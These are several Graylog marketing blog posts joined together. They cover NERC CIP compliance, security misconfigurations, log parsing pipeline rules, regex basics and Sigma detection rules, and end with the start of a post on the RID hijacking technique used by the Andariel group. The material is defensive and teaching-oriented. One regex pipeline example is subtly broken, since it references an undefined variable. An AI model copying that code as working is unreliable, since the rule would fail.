As cyber threats targeting critical infrastructure continue to evolve, the energy sector remains a prime target for malicious actors. Protecting the electric grid requires a strong regulatory framework and robust cybersecurity monitoring practices. In the United States, the Federal Energy Regulatory Commission (FERC) and the North American Electric Reliability Corporation (NERC) play key roles in safeguarding the power system against cyber risks. 

Compliance with the NERC Critical Infrastructure Protection (NERC CIP) standards provides a baseline for mitigating security risk, but organizations should implement security technologies that help them streamline these processes.

Who are FERC and NERC?

The Federal Energy Regulatory Commission (FERC) is the governmental agency that oversees the power grid’s reliability. Since the Energy Policy Act of 2005 that granted FERC these powers, the rise of smart technologies across the energy industry expanded. This led to the Energy Independence and Security Act of 2007 (EISA) which led to FERC and the National Institute of Standards and Technology (NIST) to coordinate cybersecurity reliability standards that protect the industry.

However, to develop these reliability standards, FERC certified the North American Electric Reliability Corporation (NERC). Currently, NERC has thirteen published and enforceable Critical Infrastructure Protection (CIP) standards plus one more awaiting approval.

What are the NERC CIP requirements?

The cybersecurity Reliability Standards are broken out across nine documents, each detailing the different requirements and controls for compliance.

CIP-002: BES Cyber System Categorization

This CIP creates “bright-line” criteria for how to categorize BES Cyber Systems based on impact that an outage would cause. The publication separates BES Cyber Systems into three general categories:

• High Impact
• Medium Impact
• Low Impact

CIP-003-8: Security Management Controls

This publication, with its most recent iteration being enforceable in April 2026, requires Responsible Entities to create policies, procedures, and processes for high or medium impact BES Cyber Systems, including:

• Cyber security awareness: training delivered every 15 calendar months
• Physical security controls: protections for assets, locations within an asset containing low impact BES systems, and Cyber Assets
• Electronic access controls: controls that limit inbound and outbound electronic access for assets containing low impact BES Cyber Systems
• Cyber security incident response: identification, classification, and response to Cyber Security incidents, including establishing role and responsibilities for testing (every 36 months) and handling incidents, including updating Cyber Security Incident response plan within 180 days of a reportable incident
• Transient cyber asset and removable media malicious code risk mitigation: Plans for implementing, maintaining, and monitoring anti-virus, application allowlists, and other methods to detect malicious code
• Vendor electronic remote access security controls: processes for remote access to mitigate risks, including ways to determine and disable remote access and detect known or suspected malicious communications from vendor remote access

CIP-004-7: Personnel & Training

Every Responsible Entity needs to have one or more documented processes and provide evidence to demonstrate implementation of:

• Security awareness training
• Personnel risk assessments prior to granting authorized electronic or unescorted physical access
• Access management programs
• Access revocation programs
• Access management, including provisioning, authorizing, and terminating access

CIP-005-7: Electronic Security Perimeter(s)

To mitigate risks, Responsible Entities need to have controls for permitting known and controlled communications need documented processes and evidence of:

• Connection to network using a routable protocol protected by an Electronic Security Perimeter (ESP)
• Permitting and documenting the reasoning for necessary communications while denying all other communications
• Limiting network accessibility to management Interfaces
• Performing authentication when allowing remove access through dial-up connectivity
• Monitoring to detect known or suspected malicious communications
• Implementation of controls, like encryption or physical access restrictions, to protect data confidentiality and integrity
• Remote access management capabilities, multi-factor authentication and multiple methods for determining active vendor remote access
• Multiple methods for disabling active vendor remote access
• One or more methods to determine authenticated vendor-initiated remote access, terminating these remote connections, and controlling ability to reconnect

Most of these requirements fall under the umbrella of network security monitoring. For example, many organizations will implement tools like:

• Firewalls that allow or deny communications
• Intrusion detection system (IDS)/Intrusion prevention system (IPS) that monitor traffic and packets to either detect intrusions or proactively stop them

Once organizations can define baselines for normal network traffic, they can implement detections that alert their security teams to potential incidents.

CIP-006-6: Physical Security of BES Cyber Systems

To prove management of physical access to these systems, Responsible Entities need documented processes and evidence that include:

• Physical security plan with defined operation or procedural controls for restricting physical access
• Controls for managing authorized unescorted access
• Monitoring for unauthorized physical access
• Alarms or alerts for responding to detected unauthorized access
• Logs that must be retained for 90 days for managing entry of individuals authorized for unescorted physical access
• Visitor control program that includes continuous escort for visitors, logging visitors, and retaining visitor logs
• Maintenance and testing programs for the physical access control system

Many organizations use technologies to help manage physical security, like badges or smart alarms. By incorporating these technologies into the overarching cybersecurity monitoring, Responsible Entities can correlate activities across the physical and digital domains.

By tracking both physical access and digital access to BES Cyber Systems, Responsible Entities can improve their overarching security posture, especially given the interconnection between physical and digital access to systems.

CIP-007-6: System Security Management

To prove that they have the technical, operational, and procedural system security management capabilities, Responsible Entities need documented processes and evidence that include:

• System hardening: disabling or preventing unnecessary remote access, protection against physical input/output ports used for network connectivity, risk mitigation to prevent CPU or memory vulnerabilities
• Patch management process: evaluating security patch applicability at least once every 35 calendar days and tracking, evaluating, and installing security patches
• Malicious code prevention: methods for deterring, detecting, or preventing malicious code and mitigating the threat of detected malicious code
• Monitoring for security events: logging security events per system capabilities, generating security event alerts, retaining security event logs, and reviewing summaries or samplings of logged security events
• System access controls: authentication enforcement methods, identification and inventory of all known default or generic accounts, identification of people with authorized access to shared accounts, changing default passwords, technical or procedural controls for password-only authentication, including forced changes at least once every 15 calendar months, limiting the number of unsuccessful authentication attempts and generating

Having a robust threat detection and incident response (TDIR) solution enables Responsible Parties to leverage user and entity behavior analytics (UEBA) with the rest of their log data so they can handle security functions like:

• Privileged access management (PAM)
• Password policy compliance
• Abnormal privilege escalation
• Time spent accessing a resource
• Brute force attack detection

CIP-008-6: Incident Reporting and Response Planning

To mitigate risk to reliable operation, Responsible Entities need documented incident response plans and evidence that include:

• Processes for identifying, classifying, and responding to security incidents
• Roles and responsibility for the incident response groups or individuals
• Incident handling procedures
• Testing incident response plan at least once every 15 calendar months
• Retaining records for reportable and other security incidents
• Reviewing, updating, and communicating lessons learned, changes to the plan based on lessons learned, notifying people of changes

Security analytics enables Responsible Entities to enhance their incident detection and response capabilities. By building detections around MITRE ATT&CK tactics, techniques, and procedures (TTPs), security teams can connect the activities occurring in their environments with real-world activities to investigate an attacker’s path faster. Further, with high-fidelity Sigma rule detections aligned to the ATT&CK framework, Responsible Entities improve their incident response capabilities.

In the aftermath of an incident or incident response test, organizations need to develop reports that enable them to identify lessons learned. These include highlighting:

• Key findings
• Actions taken
• Impact on stakeholders
• Incident ID
• Incident summary that includes type, time, duration, and affected systems/data

To improve processes, Responsible Entities need to organize the different pieces of evidence into an incident response report that showcases the timeline of events.

Further, they need to capture crucial information about the incident, including:

• Nature of threat
• Business impact
• Immediate actions taken
• When/how incident occurred
• Who/what was affected
• Overall scope

CIP-009-6: Recovery Plans for BES Cyber Systems

To support continued stability, operability, and reliability, Responsible Entities need documented recovery plans with processes and evidence for:

• Activation of recovery plan
• Responder roles and responsibilities
• Backup and storage of information required for recovery and verification of backups
• Testing recovery plan at least once every 15 calendar months
• Reviewing, updating, and communicating lessons learned, changes to the plan based on lessons learned, notifying people of changes

CIP-010-4: Configuration Change Management and Vulnerability Assessments

To prevent and detect unauthorized changes, Responsible Entities need documentation and evidence of configuration change management and vulnerability assessment that includes:

• Authorization of changes that can alter behavior of one or more cybersecurity controls
• Testing changes prior to deploying them in a production environment
• Verifying identity and integrity of operating systems, firmware, software, or software patches prior to installation
• Monitoring for unauthorized changes that can alter the behavior of one or more cybersecurity controls at least once every 35 calendar days, including at least one control for configurations affecting network accessibility, CPU and memory, installation, removal, or updates to operating systems, firmware, software, and cybersecurity patches, malicious code protection, security event logging or alerting, authentication methods, enabled or disabled account status
• Engaging in vulnerability assessment at least once every 15 calendar months
• Performing an active vulnerability assessment in a test environment and documenting the results at least once every 36 calendar months
• Performing vulnerability assessments for new systems prior to implementation

CIP-011-3: Information Protection

To prevent unauthorized access, Responsible Entities need documented information protection processes and evidence of:

• Methods for identifying, protecting, and securely handling BES Cyber System Information (BCSI)
• Methods for preventing the unauthorized retrieval of BCSI prior to system disposal

CIP-012-1: Communications between Control Centers

To protect the confidentiality, integrity, and availability assessment monitoring data transmitted between Control Centers, Responsible Entities need documented processes for and evidence of:

• Risk mitigation for unauthorized disclosure and modification or loss of availability of data
• Identification of risk mitigation methods
• Identification of where methods are implemented
• Assignment of responsibilities when different Responsible Entities own or operate Control Centers

To mitigate data exfiltration risks, Responsible Parties need to aggregate, correlate, and analyze log data across:

• Network traffic logs
• Antivirus logs
• UEBA solutions

With visibility into abnormal data downloads, they can more effectively monitor communications between control centers.

CIP-013-2: Supply Chain Risk Management

To mitigate supply chain risks, Responsible Entities need documented security controls and evidence of:

• Procurement processes for identifying and assessing security risks related to installing vendor equipment and software and switching vendors
• Receiving notifications about vendor-identified incidents related to products or services
• Coordinating responses to vendor-identified incidents related to products or services
• Notifying vendors when no longer granting remote or onsite access
• Vendor disclosure of known vulnerabilities related to products or services
• Verifying software and patch integrity and authenticity
• Coordination controls for vendor-initiated remote access
• Review and obtain approval for the supply chain risk management plan

CIP-015-1: Internal Network Security Monitoring

While this standard is currently awaiting approval by the NERC Board of Trustees, Responsible Entities should consider preparing for publication and enforcement with documented processes and evidence of monitoring internal networks’ security, including the implementation of:

• Network data feeds using a risk-based rationale for monitoring network activity, including connections, devices, and network communications
• Detections for anomalous network activity
• Evaluating anomalous network activity
• Retaining internal network security monitoring data
• Protecting internal network security monitoring data

Graylog Security: Enabling the Energy Sector to Comply with NERC CIP

Using Graylog Security, you can rapidly mature your TDIR capabilities without the complexity and cost of traditional Security Information and Event Management (SIEM) technology. Graylog Security’s Illuminate bundles include detection rulesets so that you have content, like  Sigma detections, enabling you to uplevel your security alert, incident response, and threat hunting capabilities with correlations to ATT&CK tactic, techniques, and procedures (TTPs).

By leveraging our cloud-native capabilities and out-of-the-box content, you gain immediate value from your logs. Our anomaly detection ML improves over time without manual tuning, adapting rapidly to new data sets, organizational priorities, and custom use cases so that you can automate key user and entity access monitoring.

With our intuitive user interface, you can rapidly investigate alerts. Our lightning-fast search capabilities enable you to search terabytes of data in milliseconds, reducing dwell times and shrinking investigations by hours, days, and weeks.

To learn how Graylog Security can help you implement robust threat detection and response, contact us today.

Managing configurations in a complex environment can be like playing a game of digital Jenga. Turning off one port to protect an application can undermine the service of a connected device. Writing an overly conservative firewall configuration can prevent remote workforce members from accessing an application that’s critical to getting their work done. In the business world that runs on Software-as-a-Service (SaaS) applications and the Application Programming Interfaces (APIs) that allow them to communicate, a lot of your security is based on the settings you use and the code that you write.

Security misconfigurations keep creeping up the OWASP Top 10 Lists for applications, APIs, and mobile devices because they are security weaknesses that can be difficult to detect until an attacker uses them against you. With insight into what security misconfigurations are and how to mitigate risk, you can create the programs and processes that help you protect your organization.

What are Security Misconfigurations?

Security misconfigurations are insecure default settings that remain in place during and after system deployment. They can occur anywhere within the organization’s environment because they can arise from:

• Operating systems
• Network devices their settings
• Web servers
• Databases
• Applications

Organizations typically implement hardening across their environment by changing settings to limit where, how, when, and with whom technologies communicate. Some examples of security misconfigurations may include failing to:

• Disable or uninstall unnecessary features, like ports, services, accounts, API HTTP verbs, API logging features
• Change default passwords
• Limit the information that error messages send to users
• Update operating systems, software, and APIs with security patches
• Set secure values for application servers, application frameworks, libraries, and databases
• Use Transport Layer Security (TLS) for APIs
• Restrict Cross-Origin resource sharing (CORS)

Security Misconfigurations: Why Do They Happen?

Today’s environments consist of complex, interconnected technologies. While all the different applications and devices make business easier, they make security configuration management far more challenging.

Typical reasons that security misconfigurations happen include:

• Complexity: Highly interconnected systems can make identifying and implementing all possible security configurations difficult.
• Patches: Updating software and systems can have a domino effect across all interconnected technologies that can change a configuration’s security.
• Hardware upgrades: Adding new servers or moving to cloud can change configurations at hardware and software level.
• Troubleshooting: Fixing a network, application, or operating system issue to maintain service availability may impact other configurations.
• Unauthorized changes: Failing to follow change management processes for adding new technologies or fixing issues can impact interconnections, like users connecting corporate email to authorize API access for an unsanctioned web application.
• Poor documentation: Failure to document baselines and configuration changes can lead to lack of visibility across the environment.

Common Types of Security Misconfiguration Vulnerabilities

To protect your systems against cyber attacks, you should understand what some common security misconfigurations are and what they look like.

• Improperly Configured Databases: overly permissive access rights or lack of authentication
• Unsecured Cloud Storage: lack of encryption or weak access controls
• Default or Weak Passwords: failure to change passwords or poor password hygiene leading to credential-based attacks
• Misconfigured Firewalls or Network Settings: poor network segmentation, permissive firewall settings, open ports left unsecured
• Outdated Software or Firmware: failing to install software, firmware, or API security updates or patches that fix bugs
• Inactive Pages: failure to include noopener or noreferrer attributes in a website or web application
• Unneeded Services/Features: leaving network services available and ports open, like web servers, file share servers, proxy servers FTP servers, Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and Secure Shell Protocol (SSH)
• Inadequate Access Controls: failure to implement and enforce access policies that limit user interaction, like the principle of least privilege for user access, deny-by-default for resources, or lack of API authentication and authorization
• Unprotected Folders and Files: using predictable, guessable file names and locations that identify critical systems or data
• Improper error messages: API error messages returning data such as stack traces, system information, database structure, or custom signatures

Best Practices for Preventing Security Misconfiguration Vulnerabilities

As you connect more SaaS applications and use more APIs, monitoring for security misconfigurations becomes critical to your security posture.

Implement a hardening process

Hardening is the process of choosing the configurations for your technology stack that limit unauthorized external access and use. For example, many organizations use the CIS Benchmarks that provide configuration recommendations for over twenty-five vendor product families. Organizations in the Defense Industrial Base (DIB) use the Department of Defense (DoD) Security Technical Implementation Guides (STIGs).

Your hardening processes should include a change management process that:

• Sets and documents baselines
• Identifies changes in the environment
• Reviews whether changes are authorized
• Allows, blocks, or rolls back changes as appropriate
• Updates baselines and documentation to reflect allowed changes

Implement a vulnerability management and remediation program

Vulnerability scanners can identify common vulnerabilities and exposures (CVEs) on network-connected devices. Your vulnerability management and remediation program should:

• Define critical assets: know the devices, resources, and users that impact the business the most
• Assign ownership: identify the people responsible for managing and updating critical assets
• Identify vulnerabilities: use penetration tests, red teaming, and automated tools, like vulnerability scanners
• Prioritize vulnerabilities: combine a vulnerability’s severity and exploitability to determine the ones that pose the highest risk to the organization’s business operations
• Identify and monitor key performance indicators (KPIs): set metrics to determine the program’s effectiveness, including number of assets managed, number of assets scanned per month, frequency of scans, percentage of scanned assets containing vulnerabilities, percentage of vulnerabilities fixed within 30, 60, and 90 days

Monitor User and Entity Activity

Security misconfigurations often lead to unauthorized access. To mitigate risk, you should implement best authentication, authorization, and access practices that include:

• Multifactor Authentication: requiring users to provide two or more of the following: something they know (password), something they have (token/smartphone), or something they are (fingerprint or face ID)
• Role-based access controls (RBAC): granting the least amount of access to resources based on their job functions
• Activity baselines: understanding normal user and entity behavior to identify anomalous activity
• Monitoring: identifying activity spikes like file permission changes, modifications, and deletions across email servers, webmail, removable media, and DNS

Implement and monitor API Security

APIs are the way that applications talk to one another, often sharing sensitive data. Many companies struggle to manage the explosion of APIs that their digital transformation strategies created, creating security weaknesses that attackers seek to exploit. To mitigate these risks, you should implement a holistic API security monitoring program that includes:

• Continuously discovering APIs across the environment
• Scanning all API traffic at runtime
• Categorizing API calls
• Sorting API traffic into domain buckets
• Automatically assessing risk
• Prioritizing remediation action using context that includes activity and intensity
• Capturing unfiltered API request and response details

Graylog Security and Graylog API Security: Helping Detect and Remediate Security Misconfigurations

Built on the Graylog Platform, Graylog Security gives you the features and functionality of a SIEM while eliminating the complexity and reducing costs. With our easy to deploy and use solution, you get the combined power of centralized log management, data enrichment and normalization, correlation, threat detection, incident investigation, anomaly detection, and reporting.

Graylog API Security is continuous API security, scanning all API traffic at runtime for active attacks and threats. Mapped to security and quality rules like OWASP Top 10, Graylog API Security captures complete request and response detail, creating a readily accessible datastore for attack detection, fast triage, and threat intelligence. With visibility inside the perimeter, organizations can detect attack traffic from valid users before it reaches their applications.

With Graylog’s prebuilt content, you don’t have to worry about choosing the server log data you want because we do it for you. Graylog Illuminate content packs automate the visualization, management, and correlation of your log data, eliminating the manual processes for building dashboards and setting alerts.

In the log aggregation game, the biggest difficulty you face can be setting up parsing rules for your logs. To qualify this statement: simply getting log files into Graylog is easy. Graylog also has out-of-the-box parsing of a wide variety of common log sources, so if your logs fall into one of the many categories of log for which there is either a dedicated Input; a dedicated Illuminate component; or that uses a defined Syslog format; then yes, parsing logs is also easy.

1. Look for Delimiters

Graylog 100 awesome

Rule "Parse fields from message"
when   
true
then
    let pf = split(
           pattern: " ",
           value: to_string($message.message)
           );
set_field("fieldname_1",pf[0]);
set_field("fieldname_2",pf[1]);
set_field("fieldname_3",pf[2]);

end

rule "Parse fields from message"
when   
true
then

    let cleaned = to_string($message.message);
    let cleaned = regex_replace(

           pattern: "^\\[|\\]$",
           value: cleaned,
           replacement: ""
   );
    let pf = split(
           pattern: " ",
           value: to_string(cleaned)
           );
set_field("fieldname_1",pf[0]);
set_field("fieldname_2",pf[1]);
set_field("fieldname_3",pf[2]);

end

2. Look for Key Value Pairs

fieldname_1=graylog fieldname_2=100 fieldname_3=awesome

“fieldname_1”=”graylog” “fieldname_2”=”100” “fieldname_3”=”awesome“

fieldname_1=’graylog’,fieldname_2=’100’,fieldname_3=’awesome’ Or like this:“fieldname_1”,”graylog” “fieldname_2”,”100” “fieldname_3”,”awesome“

rule “key_value_parser”

when
true
then
set_fields(
   fields:key_value(
   value: to_string($message.message),
   trim_value_chars: "\"",
   trim_key_chars:"\"",
   delimiters:" ",
   kv_delimiters:","
)
);
end

3. Look for JSON Format

{
   "type": "dsdbChange",
   "dsdbChange": {
       "version": {
           "major": 1,
           "minor": 0
       },
       "statusCode": 0,
       "status": "Success",
       "operation": "Modify",
       "remoteAddress": null,
       "performedAsSystem": false,
       "userSid": "S-1-5-18",
       "dn": "DC=DomainDnsZones,DC=XXXXX,DC=XXXX,DC=com",
       "transactionId": "XXXX-XXXX-XXXX-XXXX",
       "sessionId": "XXXX-XXXX-XXXX-XXXX",
       "attributes": {
           "repsFrom": {
               "actions": [{
                   "action": "replace",
                   "values": [{
                       "base64": true,
                       "value": "SOMELONGBASE64ENCODEDVALUE"
                   }]
               }]
           }
       }
   }
}

rule "JSON FLATTEN"
when
   true
then
   let MyJson = flatten_json(value: to_string($message.message), array_handler: "flatten", stringify: false);
   set_fields(to_map(MyJson));
end

4. Look for a consistent format for Grok

rule "Parse Grok"
when
   true
then
let MyGrok = grok(
   Pattern: "%{TIMESTAMP_ISO8601:timestamp}\\s+%{IPORHOST:ip_address}\\s+<%{NUMBER:priority}>%{NUMBER:process_id}: %{MONTH:month}\\s+%{MONTHDAY:day}\\s+%{TIME:time}: %{GREEDYDATA:interface_name}: %{GREEDYDATA:interface_state}",
   value: to_string($message.message),
   only_named_captures: true
);
set_fields(
   fields: MyGrok
);
end

5. Nothing is consistent? Time for Regex

26/03/2023 08:03:32.207 ERROR:  Error in EndVerifySealInBatch()Rep.dingo.Library.Serialisation.dingoHelperException: The exception has occured in one of the dingo Helper classes: ISL_LINK                
Server stack trace:
   at Rep.dingo.Library.Serialisation.DataFrame.VerifySeal(dingoSecurity2 itsSecure, Boolean dyeISRN, Byte[]& native, shipmentType shipmentType)
   at Rep.dingo.Library.MessageProcessor.Incoming.Class1Handler.AsyncVerifySeal(Boolean decryptIsrn, DataFrame df, Byte[]& dfNative)
   at System.Runtime.Remoting.Messaging.StackBuilderSink._PrivateProcessMessage(IntPtr md, Object[] args, Object server, Int32 methodPtr, Boolean fExecuteInContext, Object[]& outArgs)
   at System.Runtime.Remoting.Messaging.StackBuilderSink.AsyncProcessMessage(IMessage msg, IMessageSink replySink)
Exception rethrown at [0]:
   at System.Runtime.Remoting.Proxies.RealProxy.EndInvokeHelper(Message reqMsg, Boolean bProxyCase)
   at System.Runtime.Remoting.Proxies.RemotingProxy.Invoke(Object NotUsed, MessageData& msgData)
   at Rep.dingo.Library.MessageProcessor.Incoming.Class1Handler.AsyncVerifySealDelegate.EndInvoke(Byte[]& dfNative, IAsyncResult result)
   at Rep.dingo.Library.MessageProcessor.Incoming.Class1Handler.EndVerifySealInBatch()

rule "Regex field extract"
when
true
then
 let MyRegex = regex("[E][R][R][O][R].\\s+(\\S+\\s\\S+\\s\\S+)", to_string($message.message));
 set_field("MyFieldname_1", x["0"]);

end

6. Stuck? Look for Extractors in the Graylog Marketplace

7. Stuck? ChatGPT can write both Graylog Pipeline Rules and GROK/Regex Parsing… sometimes.

8. I am still stuck – Parsing logs is hard!

• If your log message is from a common network hardware device or a software suite with a security focus, maybe we can write it for you! Graylog has a standing offer to create parsing rules for Enterprise Customers in these circumstances, for free and within 30 days. Simply provide the device model, the firmware version, and a sample log file (sanitize it first of course) containing at least 20 lines of log text to Graylog Support, and we will seek to include parsing rules for your device in a subsequent release of Illuminate.
• Ask for help on the Graylog Community Forums. People do this for fun!
• For Enterprise Customers, ask for help with a specific rule that you can’t get working from Graylog Support. Graylog Support cannot write your parsers for you, but they are more than happy to point out where you might be going wrong if you can provide them with the Pipeline Rule in question.
• For Enterprise Customers, ask your Customer Success Manager about a Graylog Professional Services Engagement. Professional Services are not free, but it never hurts to have the option to call in the experts for a day to write your parsing rules, should you need it!

If you’ve dropped your house key in tall grass, you know how difficult it is to locate a small item hiding in an overgrown field. Perhaps, you borrowed a metal detector from a friend, then returned to the field hoping to get the loud beep that indicates finding metal in an otherwise organic area.

Trying to find patterns in strings of data is the same process. However, instead of using a physical object, you use a regular expression (regex) to search for the key patterns that would find the data elements you want.

While regex is a well-known syntax across various programming languages, having an understanding of what it is and how to use it can help you be more efficient when trying to match patterns or manipulate strings.

What does regex mean?

Regex is short for regular expression, a specialized syntax for defining search patterns when matching and manipulating strings. Unlike simple wildcards, regex offers advanced capabilities that allow for flexible definitions to create narrow or broad searches across:

• Data filters
• Key event
• Segments
• Segments
• Audiences
• Content groups

A regular expression engine processes the regex partners, performing the search, replacement, and validation. However, since regex is not limited to a single programming language, the regular expression engine for a specific language may have its own unique requirements.

The core components include:

• Atoms: elements within the expressions
• Metacharacters: definitions of grouping, quantification, and alternatives
• Anchors: starting and ending points for a string or line
• Character classes: specific characters defined within a search pattern
• Quantifiers: number of characters or character classes to be matched
• Alternation: number of possible search patterns to be matched

What is a regex function used for?

Regex syntax is part of standard programming libraries so that programmers can define compact search patterns. Some typical uses include:

• Pattern matching: identifying substrings within input strings that fit defined patterns
• Search and replace: modifying strings by replacing the matched patterns with replacement strings
• Validation: reviewing to ensure that input strings follow defined formats
• Data extraction: retrieving data points from large bodies of text
• Parsing: breaking strings into their components

Writing a Regular Expression

At their core, a regex pattern is a sequence of atoms, where each atom represents a single point that the regex engine attempts to match in a target string. These patterns can range from simple literal characters to complex formations involving grouping symbols, quantifiers, logical operators, and backreferences. Many tools are available to debug your regex patterns.

Simple Patterns

Some regex patterns typically require a precise match for defined characters. For example, here are a few common text and data structures and some regex patterns:

Regex Patterns Table

Escaping

Escaping in regex uses a backslash (\) to treat special characters as literals, ensuring they are interpreted correctly by the regex engine. Escaping is only necessary at the string literal level when dealing with characters that have special meanings, such as . or *. However, for a simple string like “ily”, no escaping is required since it contains no special characters.

Special characters

Special characters in regex provide additional matching capabilities beyond literal sequences.

For example, if you want to match a Windows file path that starts with C:\, you need to properly escape the backslash (\) since it is a special character in regex. The correct regex pattern would be C:\\ to match C:\ exactly. If you want to match a full file path like C:\Users\jdarr\Documents, the regex would be C:\\Users\\jdarr\\Documents. Similarly, if you want to match a file extension (e.g., .txt), you must escape the period as \.txt, since . is a wildcard in regex.

Parentheses

Parentheses in regex are primarily used to create capturing groups, which allow specific parts of a match to be referenced later. This is particularly useful for backreferences and substitutions. For example, in the regex pattern (\d{3})-\1, the first (\d{3}) captures a three-digit number, and \1 ensures that the same number appears again, matching values like 123-123 but not 123-456. If you need to group elements without capturing them, you can use non-capturing groups with (?:…), which helps structure complex patterns without affecting backreferences.

Matching characters

Most characters in regex match themselves, meaning that the pattern test searches for this exact sequence within strings. Combining literal characters and metacharacters allows you to create more complex patterns for matching, like defining case sensitivity for letters.

Repeating Things

Using metacharacters, you can create more complex searches that also allow for repetition within a sequence.  The * metacharacter signifies that the preceding character can match zero or more times, while + ensures one or more matches.

Using Regular Expressions

Regex engines expand upon these fundamentals so that you can more easily manipulate text and search within your programming and data processing.

Programming Languages

While you can use regex with any programming language, you should be aware that each language has its own idiosyncrasies. For example, if you have a working regex in Python then try to convert it to Java, you can have issues arising from the different implementations.

The Backslash Plague

When you use the backslash as an escape character, you can have a long list of backslashes that make the expression more complex. For example, if you use the backslash as a string literal and an escape, then the expression typically requires double escaping (\\). As your expressions get longer, you can lose track of the number of backslashes necessary which can impact the ability to match.

Match and replace

Regex patterns are integral for searching specific sequences within input strings. These methods, versatile with optional parameters, enhance the capability for fine-tuned searching, validation, and replacements.

For example, if you want to match a pattern to replace sensitive information in a log, you might want to use a regex expression like:
regex_replace(pattern: string, value: string, replacement: string,[replace_all: boolean])

To replace a person’s name with an anonymous identifier, you might write this:
// message = ‘logged in user: mike’
let username = regex_replace(“.*user: (.*)”, to_string($message.message), “$1”);
// message = ‘logged in user: mike’
let string = regex_replace(“logged (in|out) user: (.*)”, to_string($message.message), “User $2 is now logged $1”);`

Graylog Enterprise: Getting the Most from Your Logs

With Graylog Enterprise, you get built-in content that allows you to rapidly parse, normalize, and analyze your log data, optimizing your data’s value without requiring specialized skills. Graylog Enterprise is built to help transform your IT infrastructure into an optimized, secure, and compliant powerhouse.

With Graylog, you can build and configure pipeline rules using structured “when, then” statements to define conditions and actions. Using functions, pre-defined methods for performing specific action on log messages during processing, you can define parameters that return a value. Within the list of Graylog functions, you can use regex functions for partner matching with Java syntax, reducing the learning curve as you build your rules.

To learn how Graylog can improve your operations and security, contact us today for a demo.

In cybersecurity as in sports, teamwork makes the dream work. In a world where security analysts can feel constantly bombarded by threat actors, banding together to share information and strategies is increasingly important. Over the last few years, security operations center (SOC) analysts started sharing open source Sigma rules to create and share detections that help them level the playing field.

By understanding what Sigma rules are and how to use them, you can leverage their capabilities, optimizing your centralized log management solution for security detection and response.

What are Sigma Rules?

Introduced in 2017 by detection engineer Florian Roth and open-source security tool developer Thomas Patzke, Sigma is a text-based, generic, open signature format that analysts can use to describe log events, making detections easier to write.  Since Sigma uses YAML, it has a human-readable syntax that means people can easily read and understand the detection rules.

As a generic detection rule format, Sigma creates a common shared language for defenders, overcoming the challenges that they face trying to write rules in proprietary Security Information and Event Management (SIEM) platforms. Security analysts can share rules using the Sigma format, then convert them into the SIEM-specific language.

Similar to how YARA rules use Indicators of Compromise (IoC) to help identify and classify malware files, Sigma rules match criteria to log events to help detect incidents. Sigma rules can contain any or all of the following fields:

• Title
• Status, like experimental or tested
• Description of what it detects
• Author name
• Date
• ID
• License, assuming the author shares the rule
• Level
• Data or log source
• Set of conditions
• Tag, including MITRE ATT&CK mapping

Why use Sigma Rules?

With Sigma rules, security analysts can collaborate more effectively and efficiently.

Standardization

Sigma standardizes detection rule formats across all SIEM and log management platforms. Since each rule contains the same fields in the same order, security analysts can use a converter that translates the open-source detection into the format that their security system uses.

Collaboration

For defenders, collaboration is a fundamental benefit. Until Sigma rules, security analysts could only share detections with other people who use the same SIEM or log management system. With open-source Sigma rules, defenders can share tested and untested rules within GitHub to build stronger detections.

Further, by collaborating, defenders can share knowledge. With people across all experience levels sharing detections, security analysts can bridge the cybersecurity skills gap, enhancing everyone’s security.

Flexibility

From a business perspective, Sigma rules give companies a way to evolve their cybersecurity technology stack in a way that makes sense for them. The ability to convert the rules to a vendor’s format means that security teams can shift from one technology to another more easily, avoiding costly vendor lock-in or enabling them to mature their operations as necessary.

Sigma Rule Use Cases

With Sigma, you can uplevel your security in proactive and reactive ways.

Suspicious Activity Alerts

To improve your reactive security, you can build Sigma rules to detect suspicious activity. Using the activity that your log data captures, you can build rules that detect almost anything, including:

• Unauthorized actions
• Web/resource access
• File modification
• Process creation

As you get more comfortable building detection rules, you can correlate more log data for meaningful, high-fidelity alerts.

Threat Hunting

Once you have a set of robust alerts, you can start using Sigma rules to mature your proactive security monitoring, too. With a centralized log management solution aggregating old log data, you can build Sigma detections based on threat intelligence and proactively search for activity indicating attackers hiding in your systems.

The Anatomy of a Sigma Rule

Writing Sigma rules doesn’t need to be hard, but the more correlations you build into the rule, the more difficult writing it becomes.

An example of a short Sigma rule is the one that identifies potential brute force or credential theft attacks.

Identify Use Case

The first step to building a Sigma rule is deciding what activity you need to find.

In the example detection, the authors define the use case in the tags as an attack at the credential and access level.

They also map this activity to the MITRE ATT&CK Technique T1110 which covers:

• Password guessing (T1110.001)
• Password cracking (T1110.002)
• Password spraying (T1110.003)
• Credential stuffing (T1110.004)

Determine Log Source/Data Source

Since your Sigma rule relies on log data, you need to identify what sources apply. When writing the rule, you may want to include both the product and the service.

Breaking down the example detection, you can see that the logsource in this case is the Azure sign-in logs:

Define the Detection

As you continue to build your rule, you also dig deeper into the logsource data. When you define the detection, you look at the log fields that alert you to specific activity.

In this example, the sign-in logs for “Azure AD authentication error 50053”:

Set the Condition

When you set the condition, you define what the rule “looks for” in the defined log.

In this case, since the log needs to have the required error, you set it as follows:

Additional Fields and Complexity

Although valuable, this example is a fairly simple rule. As you try to reduce noise across your monitoring environment, you may incorporate additional information, like:

• More than one log source
• More than one detection
• Filters
• Multiple conditions
• Indicators of false positives

A good example of a more complex Sigma rule is the Sign-In Failure for Bad Password Threshold:

Graylog Security: Sigma Rule Event Processor for Advanced Detection Capabilities

With Graylog Security, you get the security functionality of SIEM and the intuitive user interface that makes managing security faster. With our Sigma Rule Event Processor, you can import rules you want to use directly from GitHub, and we automatically associate it with an event definition or customize the definition, giving you a way to rapidly mature your detection capabilities.

By combining Sigma rules with Graylog’s lightning-fast speed, you can create the high-fidelity alerts you need and investigate them rapidly, improving key metrics like Mean Time To Detect (MTTD) and Mean Time To Resolve (MTTR).

Researchers at AhnLab Security Intelligence Center (ASEC) recently published a report on the Andariel threat group, a DPRK state-sponsored APT active for over a decade, that has been leveraging RID hijacking and user account concealment techniques in its operations to stealthily maintain privileged access to compromised Windows systems.

This blog post explores hands-on how RID hijacking and hidden backdoor accounts work in Andariel’s attack chain, and how Graylog Security can be used to detect and analyze similar activity in an organization’s network.

What is RID Hijacking?

The RID, or Relative Identifier, uniquely identifies a user in Windows as part of its Security Identifier (SID). When a user logs on, the system retrieves the SID for that user from the local Security Account Manager (SAM) database and places it in the user’s access token to identify it in subsequent interactions. The local Administrator account RID is always 500, and standard user RIDs usually start at 1001.

